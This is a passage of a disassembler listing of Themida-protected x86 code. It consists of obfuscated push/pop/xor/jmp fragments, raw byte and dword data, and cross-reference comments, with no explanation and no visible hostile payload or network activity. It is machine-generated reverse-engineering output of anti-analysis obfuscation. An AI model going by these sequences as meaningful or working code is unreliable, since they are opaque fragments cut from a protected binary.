0E0h pop ecx sub bh, cl sub bh, 0DDh jmp loc_586147 ; --------------------------------------------------------------------------- db 50h, 54h, 58h dd 405h, 42D00h, 4870000h, 915AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C8AE: ; CODE XREF: Themida_:00587B3Aj shl ebp, 2 sub ebp, 0FB492CFCh mov edi, ebp pop ebp push esi mov esi, 46AE311Fh dec esi neg esi shr esi, 7 jmp loc_58B2B0 ; --------------------------------------------------------------------------- db 81h dd 0F86EF8F1h, 81D1F70Eh, 0A34F4EE9h, 19D8E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58C8DE: ; CODE XREF: Themida_:00585817j push dword ptr [esp] pop esi add esp, 4 push edx push esp jmp loc_588F9F ; --------------------------------------------------------------------------- db 68h dd 180Ch, 0E9240489h, 0FFFF7B77h, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 5CE9243Ch, 66FFFF8Ch, 0C166D2F7h, 816602EAh dd 66E9C8C2h, 66631668h, 66240489h, 0E92A49B8h, 0FFFF7EFAh dd 15BCBB53h, 9CE94F5Dh, 87FFFF96h, 248B241Ch, 9F64E924h dd 0F780FFFFh, 0EFE9506Ah db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58C94F: ; CODE XREF: Themida_:00586C7Ej push eax push 6B91h mov [esp], esi push 59386612h pop esi xor esi, 59386616h mov eax, esi pop esi add edx, eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push ecx mov ecx, esp jmp loc_588A8E ; --------------------------------------------------------------------------- dd 0E73068B7h, 5FEF8058h, 0E903B252h, 0FFFFCBB5h, 0E689565Fh dd 4C681h, 0EE830000h, 24348704h, 243C895Ch, 0AF596BBFh dd 0C061E9BDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58C9AA: ; CODE XREF: Themida_:0058F4BEj add esp, 4 jmp loc_589B6D ; --------------------------------------------------------------------------- loc_58C9B2: ; CODE XREF: Themida_:0058EB4Bj push edx push ecx mov ecx, 1CE2572Eh or ecx, 7C0C1269h not ecx sub ecx, 4D5C6E71h shl ecx, 4 add ecx, 0D2309038h jmp loc_58AFF6 ; --------------------------------------------------------------------------- db 81h, 0EAh, 12h dd 10BA3BEh, 0C6815AD6h, 4, 0FFF8FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_58C9E9: ; CODE XREF: Themida_:0058DB40j push ebp mov ebp, 203F44A6h add ebp, 3A4944A3h jmp loc_58D4F7 ; --------------------------------------------------------------------------- loc_58C9FA: ; CODE XREF: Themida_:0058754Fj and eax, ebp pop ebp jmp loc_58B907 ; --------------------------------------------------------------------------- a_se db '_é¥(',0 align 4 dd 0C1D1F759h, 0E98103E9h, 0FFFFFFFFh, 0D4FAE956h db 2 dup(0FFh) word_58CA1A dw 74FFh ; DATA XREF: Themida_:00584240o dd 34FF0424h, 0EC815824h, 4, 81240C89h, 4ECh, 24248900h dd 4240481h, 59000000h, 0FF970FE9h, 0E9CB31FFh, 8C0h ; --------------------------------------------------------------------------- loc_58CA48: ; CODE XREF: Themida_:0058C00Fj add esp, 4 push edx mov edx, 597F0928h jmp loc_589AAF ; --------------------------------------------------------------------------- dw 0D831h dd 0E9241C8Bh, 0FFFFD244h, 0FF24248Bh, 48B2434h, 4C48324h dd 81E78957h, 4C7h, 4EF8100h, 57000000h, 42474FFh, 24048F5Fh dd 242C895Ch, 0BE56E589h, 472F1C77h, 1C73F681h, 0F501472Fh dd 4BB535Eh, 81000000h, 452BF1C5h, 0E9DD0146h, 2770h, 0FF79C2E9h dd 0E935B4FFh, 0FFFF7E7Dh ; --------------------------------------------------------------------------- loc_58CAB8: ; CODE XREF: Themida_:0058BED6j push esi jmp loc_590717 ; --------------------------------------------------------------------------- loc_58CABE: ; CODE XREF: Themida_:0058A92Fj xor ecx, 2ABD8DEh mov ebp, ecx pop ecx jmp loc_58B83A ; --------------------------------------------------------------------------- dd 36242C81h, 5B09A555h, 5536C381h, 0C8B09A5h, 4C48324h dd 5707EBC1h, 726C76BFh, 5FFB314Ch, 7111EB81h, 0C381188Ch dd 9D72952h, 355BD831h, 38E7C999h, 48BC589h, 4C48124h dd 0E9000000h, 27AFh ; --------------------------------------------------------------------------- loc_58CB10: ; CODE XREF: Themida_:00588873j mov [esp], edx push ecx push 52B067E2h pop ecx dec ecx dec ecx xor ecx, 78C4038Fh mov edx, ecx pop ecx and esi, edx pop edx push ebp mov ebp, 42EE55AFh jmp loc_58AECF ; --------------------------------------------------------------------------- loc_58CB33: ; CODE XREF: Themida_:005894FEj mov [esp], ebp mov ebp, 4 sub edx, 4A546E0Eh add edx, ebp jmp loc_58B80C ; --------------------------------------------------------------------------- loc_58CB48: ; CODE XREF: Themida_:005884BCj mov edx, 4 add ecx, edx pop edx jmp loc_587228 ; --------------------------------------------------------------------------- loc_58CB55: ; CODE XREF: Themida_:00590708j mov esi, 4 add ebx, esi mov esi, [esp] add esp, 4 push edi push esi mov esi, 4 jmp loc_58EB1B ; --------------------------------------------------------------------------- dw 72B8h dd 29228876h, 58042444h, 13D8E9h, 0D1E95600h, 5800000Ch dd 0FF9F35E9h, 65E953FFh, 5D000033h, 1F2AE95Fh, 0EA810000h dd 2, 8B241487h, 89662424h, 0BB66241Ch, 97E9F754h, 0F7FFFFB6h dd 61B850D2h, 0D4B583Bh, 274FE4h, 0FFF967E9h, 7FEB81FFh dd 8372A165h, 1C8904ECh, 0A6685724h, 8B7F891Dh, 0C481243Ch dd 4, 0D94F781h, 4EE96AE0h, 59FFFFCDh, 1250E9h db 0 byte_58CBED db 66h, 8Bh, 4 ; DATA XREF: Themida_:00584264o dd 9583E924h, 2C8BFFFFh, 4C48324h, 0C281F201h, 16C865AAh dd 72E9555Eh, 89FFFFF0h, 405E0h, 0F1680000h, 8900003Eh dd 0E953240Ch, 1940h ; --------------------------------------------------------------------------- loc_58CC20: ; CODE XREF: Themida_:005867C1j mov [esp], ecx jmp loc_58E101 ; --------------------------------------------------------------------------- dd 33240C31h, 248B240Ch, 24048B24h, 81595451h, 4C1h, 9CBA5200h dd 0F77C9078h, 60F281DAh, 52836F87h, 4959B7BAh, 315FE949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58CC56: ; CODE XREF: Themida_:00585894j xor ah, 8Ah add cl, ah jmp loc_5874FC ; --------------------------------------------------------------------------- dword_58CC60 dd 24048B66h, 332FE9h db 0 aN1Uhzp db '1ØUh‡p',0 ; DATA XREF: Themida_:00584280o align 2 dw 2489h dd 24048324h, 2366E904h db 2 dup(0) word_58CC7E dw 478Fh ; DATA XREF: Themida_:0058426Co dd 77EDE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CC86: ; CODE XREF: Themida_:005848F9j push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] jmp loc_585E52 ; --------------------------------------------------------------------------- loc_58CC96: ; CODE XREF: Themida_:0058CE0Bj mov esi, 4000h jmp loc_58F97E ; --------------------------------------------------------------------------- dword_58CCA0 dd 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 717Eh mov [esp], edi mov edi, 26182108h push ecx jmp loc_5878FF ; --------------------------------------------------------------------------- loc_58CCBA: ; CODE XREF: Themida_:00585F90j xor ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi jmp loc_58B1A5 ; --------------------------------------------------------------------------- db 68h dd 2ACC6344h, 0E9E7D15Fh, 0FFFFE1C1h ; --------------------------------------------------------------------------- loc_58CCD8: ; CODE XREF: Themida_:0058F038j add ebx, 4 xchg ebx, [esp] pop esp push ebx push esp jmp loc_58BEA3 ; --------------------------------------------------------------------------- loc_58CCE6: ; CODE XREF: Themida_:0058F19Dj neg edx xor edx, 7751165Dh xor edx, 6B1A68E5h xor edx, 17216C2Bh jmp loc_5876A2 ; --------------------------------------------------------------------------- db 2Dh dd 4, 204CE9h, 243C8900h, 0FFE023E9h db 0FFh ; --------------------------------------------------------------------------- loc_58CD11: ; CODE XREF: Themida_:0058AB0Cj push ecx not dword ptr [esp] pop ecx xor ecx, 9C4F16BDh mov edx, ecx pop ecx jmp loc_58AF91 ; --------------------------------------------------------------------------- dd 594BF381h, 0E95300ACh, 134Fh, 8B241433h, 0C4812424h dd 4, 8904EC83h, 0EC81242Ch, 4, 0E9240489h, 0FFFFBEA5h ; --------------------------------------------------------------------------- loc_58CD50: ; CODE XREF: Themida_:00585690j pop ecx pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 6B3906C3h shl ebp, 5 jmp loc_58A6DA ; --------------------------------------------------------------------------- db 5Dh, 51h, 68h dd 1D2F1B8Ah, 9B20E959h, 0D988FFFFh, 81241C8Bh, 4C4h, 24048B00h dd 4C481h, 57E90000h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58CD8B: ; CODE XREF: Themida_:0058CE5Bj pop ebx xchg edi, [esp] pop esp push 1759h mov [esp], esi push 556h mov [esp], edi mov edi, 4 mov esi, edi mov edi, [esp] add esp, 4 and ecx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push ecx push esp pop ecx push edx mov edx, 4 jmp loc_58DA57 ; --------------------------------------------------------------------------- dd 158C689h, 0E9575EF7h, 206Dh, 5931BD55h, 0ED812682h dd 41116C3Eh, 0A814E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CDEA: ; CODE XREF: Themida_:00586358j pop dword ptr [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edi push esi jmp loc_58CC96 ; --------------------------------------------------------------------------- dd 24042166h, 7659E99Ch, 22B8FFFFh, 2D6B2F66h, 0FFFFFFFFh dd 0FFA809E9h, 0E18951FFh, 4C181h, 0C1810000h, 4, 5C240C87h dd 0FFD22BE9h, 48F5EFFh, 24248B24h, 4B30F66h, 20E99C24h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CE53: ; CODE XREF: Themida_:00585B9Cj add edi, ebx sub edi, 2C7A1BBAh jmp loc_58CD8B ; --------------------------------------------------------------------------- dd 815A5452h, 4C2h, 4C28100h, 87000000h, 248B2414h, 0D3EF8124h dd 81226D46h, 66290BEFh, 81CF010Bh, 66290BC7h, 5868500Bh dd 8900006Eh, 0DCB9240Ch, 0F71E452Eh, 0B850D9h, 29000000h dd 575891C8h, 7748BE56h, 0F2E924E5h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CEAF: ; CODE XREF: Themida_:00589B53j xor ebp, 49916FB1h sub ebp, 4D906FA6h sub edx, ebp pop ebp dec edx sub edx, 3431268h mov edi, edx mov edx, [esp] add esp, 4 jmp loc_588C55 ; --------------------------------------------------------------------------- dw 4A68h dd 5400007Bh, 8124048Fh, 42404h, 525B0000h, 3DDE9h db 0 ; --------------------------------------------------------------------------- loc_58CEE9: ; CODE XREF: Themida_:0058D892j pop eax add esp, 4 mov ecx, [esp] jmp loc_5872A4 ; --------------------------------------------------------------------------- db 88h, 0DCh, 5Bh dd 0FFE3D0E9h, 243C89FFh, 0DAE95F54h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CF07: ; CODE XREF: Themida_:00584CF3j mov [esp], ecx push ebx push 187046F7h pop ebx shr ebx, 6 sub ebx, 61B91Bh jmp loc_5887A3 ; --------------------------------------------------------------------------- db 5Bh dd 2ED81h, 2C870000h, 4FE95C24h db 3, 2 dup(0) byte_58CF2F db 0ACh ; DATA XREF: Themida_:005842C4o dd 0E904EC83h, 0FFFFED01h ; --------------------------------------------------------------------------- loc_58CF38: ; CODE XREF: Themida_:005894E7j push ecx push esi mov esi, esp jmp loc_58788C ; --------------------------------------------------------------------------- db 0BBh, 11h, 21h dd 0DD018CAAh, 0FFBE1DE9h, 5DE931FFh, 242EE9h db 0 ; --------------------------------------------------------------------------- loc_58CF55: ; CODE XREF: Themida_:00589D32j add edx, 4 jmp loc_58E95C ; --------------------------------------------------------------------------- dd 69D868h, 241C8900h, 8EF1F8BBh, 5BDE3150h, 0AEE9F031h dd 81000011h, 4C4h, 55A56800h, 1C890000h, 84BAE924h, 0EAC1FFFFh dd 0D3EA8102h, 0F7E8A813h, 0ABB1E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58CF9A: ; CODE XREF: Themida_:0058D4F2j pop edi add ebx, 0D101A7h sub ebx, ebp sub ebx, 0D101A7h pop ebp xor ebx, [esp] jmp loc_5877CE ; --------------------------------------------------------------------------- dw 1C87h dd 64E95C24h, 5C000006h, 56E9E0D1h, 33FFFFE0h, 34312434h dd 24343324h, 8966645Ch, 749DE902h, 0C681FFFFh, 22DC627Eh dd 24343359h, 33243431h, 0FEE92434h db 0E6h, 2 dup(0FFh) byte_58CFEB db 66h ; DATA XREF: Themida_:0058438Co dd 68240C8Bh, 4EF3h, 54243489h, 41BC685Eh, 2BE90000h, 81FFFFC0h dd 4C4h, 0D3885300h, 50DE8852h, 0FFA11FE9h db 0FFh ; --------------------------------------------------------------------------- loc_58D015: ; CODE XREF: Themida_:00588BB7j mov eax, 2E12092Ah push ecx mov ecx, 2B953D12h dec ecx add ecx, 3DFD1CB8h dec ecx jmp loc_58EB49 ; --------------------------------------------------------------------------- db 1, 0C2h, 81h dd 0B50099EAh, 0FBD556Bh, 0C1303673h, 0D5F708EDh, 40EDCD81h dd 8BE93B70h, 81FFFF7Ah, 4C3h, 4EC8300h, 0BE243489h, 7DE53707h dd 5505E6C1h, 0E2FC3BDh, 0EDD14510h, 144AED81h, 0EE01E1DDh dd 0FFFCF0E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D075: ; CODE XREF: Themida_:0058B42Bj mov edx, 0A2BCA9CFh sub edx, esi pop esi jmp loc_5845A1 ; --------------------------------------------------------------------------- loc_58D082: ; CODE XREF: Themida_:0058E8C3j add esp, 4 shr ecx, 0Ah jmp loc_5895C8 ; --------------------------------------------------------------------------- db 81h, 0C5h, 10h dd 89E7A7A0h, 242C8BE9h, 18EEE9h, 31C78100h, 0C1606228h dd 0D7F707E7h, 84C78147h, 1BF8418h, 0DDAAE9FAh db 2 dup(0FFh) word_58D0B6 dw 77FFh ; DATA XREF: Themida_:0058427Co dd 58669D1Ch, 24041166h, 0CC77E99Ch db 2 dup(0FFh) word_58D0C6 dw 77FFh ; DATA XREF: Themida_:00584368o dd 11589D1Ch, 0E99C2404h, 0FFFF739Fh, 5704C483h, 0C00C23BFh dd 18E9570Ah db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D0E3: ; CODE XREF: Themida_:0058BC9Cj push edi mov edi, 6D5A4411h mov ebx, edi pop edi shr ebx, 7 dec ebx push ebp mov ebp, 0DAB483h jmp loc_588092 ; --------------------------------------------------------------------------- db 0B8h dd 4, 8358C701h, 0FF5702C7h, 0FF042474h, 0E95F2434h, 0FFFF7B08h dd 5A2434FFh, 0D002E952h, 0C583FFFFh, 90E95504h, 5AFFFFADh dd 8324348Bh, 0C68104C4h, 4, 4B951h, 0CE010000h, 24348759h dd 724E9h db 0 ; --------------------------------------------------------------------------- loc_58D145: ; CODE XREF: Themida_:00587B0Aj not eax add eax, 0CABDF7E0h sub esi, eax mov eax, [esp] push edx push esp pop edx jmp loc_58A3ED ; --------------------------------------------------------------------------- db 87h, 0EAh, 81h dd 25187CEAh, 8BD03161h, 0C4832414h, 238E6804h, 1C890000h dd 0DC076824h, 34FF3546h, 0C4835B24h, 0FFD83104h, 1C8B2434h dd 1A63E924h, 248B0000h, 0AF0F6624h, 9C5166C8h, 0FF72DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_58D199: ; CODE XREF: Themida_:00586A6Fj mov ebp, 7CCD7784h xor [esp+4], ebp jmp loc_590016 ; --------------------------------------------------------------------------- db 81h dd 370666EAh, 0EA814259h, 58ADB665h, 0C15AD189h, 36E908E9h dd 83000023h, 148704C2h, 0E1F75C24h, 27BE68h, 24148900h dd 0FF9391E9h, 5BD888FFh, 7434C8FEh, 0A6BE9h, 241C8700h dd 0FFC8E3E9h, 81E189FFh, 4C1h, 0D8CCE900h, 4D45FFFFh dd 54E4F581h, 0BB5367C6h, 41B15423h, 0FFEBA7E9h, 4C383FFh dd 5C241C87h, 4EC81h, 1C890000h, 2BB24h, 0B3E90000h db 0AAh, 2 dup(0FFh) byte_58D223 db 68h ; DATA XREF: Themida_:005843BCo dd 2D74h, 68242C89h, 4C9h, 8B240489h, 2BE9242Ch, 81FFFFECh dd 0D9449BC2h, 0E9FA017Ah, 0FFFFD793h ; --------------------------------------------------------------------------- loc_58D248: ; CODE XREF: Themida_:0058E9D9j mov ebx, [esp] add esp, 4 jmp loc_58FF01 ; --------------------------------------------------------------------------- dw 815Bh dd 4C3h, 4EC8100h, 89000000h, 4B9240Ch, 29000000h, 99F7E9CBh dd 0C681FFFFh, 394C1B27h, 140DE953h, 89660000h, 0ED682434h dd 89000060h, 0B8662404h, 0C1665538h, 836606E8h, 2D66FFC0h dd 89668A13h, 296658C6h, 0E95E66F0h, 2A9Dh, 242C335Bh dd 33242C31h, 665C242Ch, 6866E9F7h, 8966539Fh, 50662414h dd 1EF5E99Ch, 0B4BA0000h, 837A7C14h, 1C8904ECh, 6F3BB24h dd 0DA312CA1h, 43F2815Bh, 156DD12h, 80685AD3h, 89000077h dd 2B9240Ch, 29000000h, 44E959CBh, 56FFFFF6h, 2BEh, 0B37FE900h dd 0E949FFFFh, 0FFFF8F7Fh, 0D6F38159h, 51400558h, 0AE1428B9h dd 0F040E90Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D31A: ; CODE XREF: Themida_:00585540j add esp, 4 push 492h mov [esp], edx mov edx, ebp mov ebx, edx mov edx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 push 7E0Ch jmp loc_58FBDC ; --------------------------------------------------------------------------- db 0B2h, 23h, 0 dd 0AA05E9D0h db 2 dup(0FFh) word_58D34E dw 77FFh ; DATA XREF: Themida_:00584404o dd 58669D1Ch, 24041966h, 7115E99Ch, 8966FFFFh, 0B7532414h dd 0C4FE905h, 895C0000h, 0AFE92424h, 1000000h, 0BD555BDAh dd 25E2684Eh, 815DEA21h, 935AD6E2h, 0E9D2F743h, 0FFFF7599h dd 7E1C34BFh, 0EF814722h, 0DF78173Eh, 0FF5FFA29h, 515D2434h dd 0FF9007E9h, 243489FFh, 2BEh, 8BF50100h, 5DE92434h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D3B7: ; CODE XREF: Themida_:0058A007j push 664h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_590600 ; --------------------------------------------------------------------------- dd 0F570F781h, 372DF7FEh, 1479464h, 0E9B1E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D3DE: ; CODE XREF: Themida_:005891D0j mov [esp], esp add dword ptr [esp], 4 jmp loc_584FF0 ; --------------------------------------------------------------------------- loc_58D3ED: ; CODE XREF: Themida_:00588EAFj xor [esp+4], edx pop edx mov ecx, [esp] jmp loc_586CFF ; --------------------------------------------------------------------------- loc_58D3FA: ; CODE XREF: Themida_:00589BE2j pop esp and eax, edx jmp loc_58E73F ; --------------------------------------------------------------------------- loc_58D402: ; CODE XREF: Themida_:00587BE9j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_589606 ; --------------------------------------------------------------------------- loc_58D418: ; CODE XREF: Themida_:0058FA7Fj mov edi, 227B3355h jmp loc_585D8C ; --------------------------------------------------------------------------- dw 483h dd 148B0424h, 4C48124h, 81000000h, 4C2h, 2C28300h, 0FFF45CE9h dd 7031E9FFh, 0E955FFFFh, 0FFFFC8EFh, 8158C329h, 0E72A1EC3h dd 81C32938h, 0E72A1EEBh, 0BE565038h, 1933BB6h, 0D5F7EE87h dd 0BC6AE956h, 421FFFFh, 0E99C24h, 0B9FFFF70h, 0F0E0A7Ah dd 8159CD01h, 4292CEDh, 81F50126h, 4292CC5h, 0ECB2E926h dd 0CE87FFFFh, 0CE87D9F7h, 0FFFAC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D499: ; CODE XREF: Themida_:00589F6Dj mov esp, [esp] push 0D28h mov [esp], ebx push 51D1h mov [esp], ecx mov ecx, 2E7E03A5h jmp loc_58D720 ; --------------------------------------------------------------------------- dw 0C701h dd 4B95158h, 1000000h, 3C8759CFh, 0E151E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D4CA: ; CODE XREF: Themida_:005848ADj sub dword ptr [edi+20h], 507021FFh jmp loc_58C803 ; --------------------------------------------------------------------------- loc_58D4D6: ; CODE XREF: Themida_:0058B7CDj push 7D670042h pop edi add edi, 10BE4A42h and edi, 9E82E07h not edi add edi, 8200A09h mov ebp, edi jmp loc_58CF9A ; --------------------------------------------------------------------------- loc_58D4F7: ; CODE XREF: Themida_:0058C9F5j push ebx mov ebx, 115344FDh push ebp mov ebp, 3B152A52h or ebp, 2DA1008Fh shl ebp, 8 inc ebp sub ebp, 480067B7h jmp loc_5901B3 ; --------------------------------------------------------------------------- dd 4C58158h, 0E9000000h, 0FFFFEFA1h, 0CD8083B5h, 9ED8097h dd 0CEC580h, 0C82859E8h, 59665C2Ch, 0BBE9F12Ch, 1000013h dd 7BC381CBh, 5905743Ah, 0FFE96CE9h db 0FFh ; --------------------------------------------------------------------------- loc_58D54D: ; CODE XREF: Themida_:0058BEB4j add eax, 74331ECFh push dword ptr [edi+eax*4] mov eax, [esp] sub esp, 4 mov [esp], eax push esp push dword ptr [esp] pop eax jmp loc_58B4E1 ; --------------------------------------------------------------------------- dword_58D568 dd 51240C8Bh, 0F675E954h, 6DBBFFFFh, 0F7723F65h, 92F381DBh ; DATA XREF: Themida_:005842DCo dd 898DC09Ah, 0C2815BDFh, 461F3CBCh, 0FFCAA5E9h, 243433FFh dd 33243431h, 248B2434h, 4896624h, 6ED1E924h, 0EB80FFFFh dd 68EB80CEh, 85E9DA30h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D5AF: ; CODE XREF: Themida_:00584ACBj neg ebp add ebp, 97FA4DEEh sub eax, ebp pop ebp sub eax, ebp add eax, 409C0969h pop ebp xchg eax, [esp] jmp loc_586D0D ; --------------------------------------------------------------------------- loc_58D5CA: ; CODE XREF: Themida_:0058E51Aj add ebp, 4 add ebp, 4 push 4AC9h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_5872F8 ; --------------------------------------------------------------------------- dd 0D04E8C1h, 15DC547Ch, 0AB420905h, 0E9C101E3h, 0FFFFF583h dd 6E6DE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D606: ; CODE XREF: Themida_:0058A4FEj add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_58C114 ; --------------------------------------------------------------------------- loc_58D617: ; CODE XREF: Themida_:0058522Aj xor [esp], ebx jmp loc_58927F ; --------------------------------------------------------------------------- db 0FFh dd 6E4DE930h, 0C781FFFFh, 7B7F43D0h, 0EF81C701h, 7B7F43D0h dd 0FF94F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D639: ; CODE XREF: Themida_:0058572Cj xchg edx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 add eax, 74A226A6h push edi mov edi, 26367756h jmp loc_58605F ; --------------------------------------------------------------------------- db 1, 0F2h, 0E9h dd 0FFFF82ECh, 1DF268h, 24048900h, 5D2434FFh, 5504C483h dd 242C8B5Ah, 0FFE4CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_58D67D: ; CODE XREF: Themida_:0058742Dj xor eax, [esp] pop esp jmp loc_58EA00 ; --------------------------------------------------------------------------- dw 0E8E9h db 6Dh, 2 dup(0FFh) byte_58D68B db 8Bh ; DATA XREF: Themida_:00584300o dd 0E0E92424h, 68FFFF6Dh, 0E39h, 89243C89h, 2F0868E7h dd 2C890000h, 2FDCBD24h, 0B85031EFh, 311731FEh, 5358C531h dd 72189EBBh, 0EB814369h, 4D33510Bh, 0A235F381h, 0BE561640h dd 1A801160h, 0FFB225E9h, 8BE830FFh, 8953240Ch, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 8024248Bh, 0C3801EEBh, 0D6B4502Bh dd 0B806E951h, 0E952FFFFh, 0FFFFDC9Fh ; --------------------------------------------------------------------------- loc_58D700: ; CODE XREF: Themida_:005900FCj and eax, edi mov edi, [esp] jmp loc_58EE36 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFFE669h, 4240483h, 0FFED47E9h, 0E95550FFh, 0FFFFDBEAh ; --------------------------------------------------------------------------- loc_58D720: ; CODE XREF: Themida_:0058D4B1j shr ecx, 3 jmp loc_5904F8 ; --------------------------------------------------------------------------- dd 7620C168h, 7E05581Eh, 560A93Bh, 3CFA277Fh, 2508E9h dd 4C116800h, 3C890000h, 0B8505324h, 4CF01751h, 0F76EA3BBh dd 58C329BCh, 61FF381h, 0BA52371Dh, 28E5490Dh, 0E2C14A4Ah dd 7C26E902h, 0D800FFFFh, 0FFD58BE9h, 243C8BFFh, 8104C483h dd 0A90082C7h, 55DF011Eh, 0FF9A99E9h, 0F6CAFEFFh, 80C2FED2h dd 0EA80CDF2h, 8BD3884Fh, 0C4832414h, 0B1C38004h, 797568h dd 24148900h, 0FBE958B2h, 83000024h, 0C33104C4h, 24148B66h dd 68BA6856h, 8F540000h, 4812404h, 424h, 2434FF00h, 4C4835Eh dd 4C681h, 66680000h, 0E9000069h, 0FFFF9069h ; --------------------------------------------------------------------------- loc_58D7DC: ; CODE XREF: Themida_:0058A307j sub esi, 247155CAh jmp loc_58C6E0 ; --------------------------------------------------------------------------- byte_58D7E7 db 66h ; DATA XREF: Themida_:005843C0o dd 0E924048Bh, 0FFFF9493h, 0C681E689h, 4, 7487E955h, 0FE00FFFFh dd 5CB3535Bh, 803BC380h, 0EBC011E3h, 46E38005h, 0FFCB35E9h dd 242C8BFFh, 0FFD738E9h, 2EFC1FFh, 8C9E9h, 0E9E38900h dd 11E7h ; --------------------------------------------------------------------------- loc_58D82C: ; CODE XREF: Themida_:0058C210j pop ebp push 0EC0h mov [esp], eax push esp pop eax push edi mov edi, 1F442A6Dh xor edi, 10006ACDh jmp loc_58A60C ; --------------------------------------------------------------------------- dd 207EB850h, 0E9404D54h, 0FFFFEEDFh, 4BEh, 5EF10100h dd 6802C183h, 4F1h, 0FFEF24E9h, 24248BFFh, 0FF04C483h dd 68592434h, 2990h, 0FF7DF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_58D87D: ; CODE XREF: Themida_:00585368j neg ecx shr ecx, 5 sub ecx, 0CE8AA9EEh xor eax, ecx pop ecx xor [esp+4], eax push dword ptr [esp] jmp loc_58CEE9 ; --------------------------------------------------------------------------- db 51h dd 1171B850h, 0FF057B4Fh, 552E320Fh, 654986BDh, 0B0C58120h dd 814D5465h, 0CE6815EDh, 0A3EE9D0h, 0D5F70000h, 4D01ED83h dd 17B2E9h, 0A8E95C00h, 81FFFF6Bh, 0FFFFFFEDh, 51DDF7FFh dd 0F763ABB9h, 74C58157h, 12BCC0Eh, 74ED81CDh, 592BCC0Eh dd 0FF9A75E9h, 8B0BBFFh, 0DF29D8DCh, 0C37FE95Bh, 1433FFFFh dd 24143124h, 8B241433h, 0F662424h, 9C2404BBh, 0FF79D7E9h dd 0FF525DFFh, 8B042474h, 9EE92414h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D91F: ; CODE XREF: Themida_:0058953Cj sub esp, 4 mov [esp], eax mov eax, esp push ebp jmp loc_587432 ; --------------------------------------------------------------------------- dword_58D930 dd 0E92434FFh, 0FFFF9C7Dh, 5D96CB81h, 0E3C17A07h, 84F38106h ; DATA XREF: Themida_:00584260o dd 185D76Fh, 68505BDEh, 2, 8124048Bh, 4C4h, 58C60100h dd 5C243487h, 0F66F9F6h, 6866CCB6h, 89664BBDh, 0F66240Ch dd 5166C8B6h, 6AF9E99Ch db 2 dup(0FFh) aNs2 db 'é2%',0 ; DATA XREF: Themida_:005843E0o align 10h dd 0F1C0905h, 0FDBA5232h, 512FB3F2h, 51C9BA52h, 0EAC155FDh dd 0DEF28102h, 0E93F3B47h, 0FFFFF807h, 93E9E5D0h, 89FFFFA2h dd 0C14958C1h, 0E1C102E1h, 0D0B85007h, 0E92EF41Ah, 0FFFFFC30h ; --------------------------------------------------------------------------- loc_58D9BC: ; CODE XREF: Themida_:0058DADEj pop dword ptr [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_584473 ; --------------------------------------------------------------------------- dd 8F04C483h, 248B2404h, 0CFE5E924h, 489FFFFh, 516BB424h dd 0E980C9B1h, 0A297E989h, 481FFFFh, 97648B24h, 2404811Fh dd 46DC7A8Ch, 81240401h, 7A8C242Ch, 685046DCh, 1F97648Bh dd 793FE958h, 0E530FFFFh, 9D8AE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DA16: ; CODE XREF: Themida_:0058FF5Ej add ebp, ecx pop ecx xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push ebp jmp loc_58B7CC ; --------------------------------------------------------------------------- byte_58DA31 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00584334o dd 0FF7E95E9h, 0DFEE81FFh, 817D9859h, 8E1EE2EEh, 34335F6Bh dd 24343124h, 8B243433h, 0D0E92424h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DA57: ; CODE XREF: Themida_:0058CDC7j add ecx, edx pop edx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp shr ecx, 2 sub esp, 4 mov [esp], ebx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] 